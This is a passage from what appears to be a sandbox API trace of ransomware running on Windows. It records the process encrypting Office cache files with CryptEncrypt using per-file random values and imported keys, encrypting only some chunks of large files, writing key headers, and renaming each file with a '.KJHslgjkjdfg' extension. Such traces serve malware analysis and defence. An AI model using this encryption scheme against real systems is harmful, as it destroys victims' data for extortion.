returned 1 [0140.131] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0140.131] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0140.131] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.131] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0140.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.131] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.131] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.131] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xaec3a, lpOverlapped=0x0) returned 1 [0140.138] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xaec40) returned 1 [0140.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.147] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0140.150] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.150] SetEndOfFile (hFile=0x124) returned 1 [0140.154] GetProcessHeap () returned 0x2a0000 [0140.154] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0140.154] GetProcessHeap () returned 0x2a0000 [0140.154] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.155] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0140.155] CloseHandle (hObject=0x124) returned 1 [0140.155] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0140.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.157] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=10798080) returned 1 [0140.157] GetProcessHeap () returned 0x2a0000 [0140.157] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.157] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.157] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.157] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.157] GetProcessHeap () returned 0x2a0000 [0140.157] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.157] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0140.157] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.157] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0140.160] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.160] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0140.160] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0140.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.160] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0140.160] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.160] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.160] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.164] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.171] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.171] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.172] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.172] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.172] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.172] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.177] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.180] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.180] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.182] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.182] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.182] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.182] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.189] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.192] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.192] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.193] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.193] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.193] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.193] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.193] SetEndOfFile (hFile=0x124) returned 1 [0140.196] GetProcessHeap () returned 0x2a0000 [0140.196] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.196] GetProcessHeap () returned 0x2a0000 [0140.196] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.196] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.kjhslgjkjdfg")) returned 1 [0140.197] CloseHandle (hObject=0x124) returned 1 [0140.197] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0140.197] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.198] GetProcessHeap () returned 0x2a0000 [0140.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.199] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.199] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0140.199] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xb, lpOverlapped=0x0) returned 1 [0140.204] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.204] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.204] GetProcessHeap () returned 0x2a0000 [0140.204] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.204] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0140.204] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.204] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0140.204] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0140.205] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0140.205] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0140.205] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.205] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0140.205] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.205] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.205] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.205] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x1915, lpOverlapped=0x0) returned 1 [0140.206] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1920, dwBufLen=0x1920 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1920) returned 1 [0140.206] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.206] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x1920, lpOverlapped=0x0) returned 1 [0140.206] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.206] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.207] SetEndOfFile (hFile=0x124) returned 1 [0140.209] GetProcessHeap () returned 0x2a0000 [0140.209] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.209] GetProcessHeap () returned 0x2a0000 [0140.209] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.210] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.kjhslgjkjdfg")) returned 1 [0140.212] CloseHandle (hObject=0x124) returned 1 [0140.212] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0140.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.213] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=162970271) returned 1 [0140.213] GetProcessHeap () returned 0x2a0000 [0140.213] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.213] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.213] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.213] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x1, lpOverlapped=0x0) returned 1 [0140.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.219] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.219] GetProcessHeap () returned 0x2a0000 [0140.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.219] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0140.219] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.219] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0140.219] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.219] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0140.219] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0140.219] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.220] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0140.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.220] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.220] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.220] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.224] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.230] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.230] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.231] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.231] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.231] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.231] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.238] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x33ce8df, 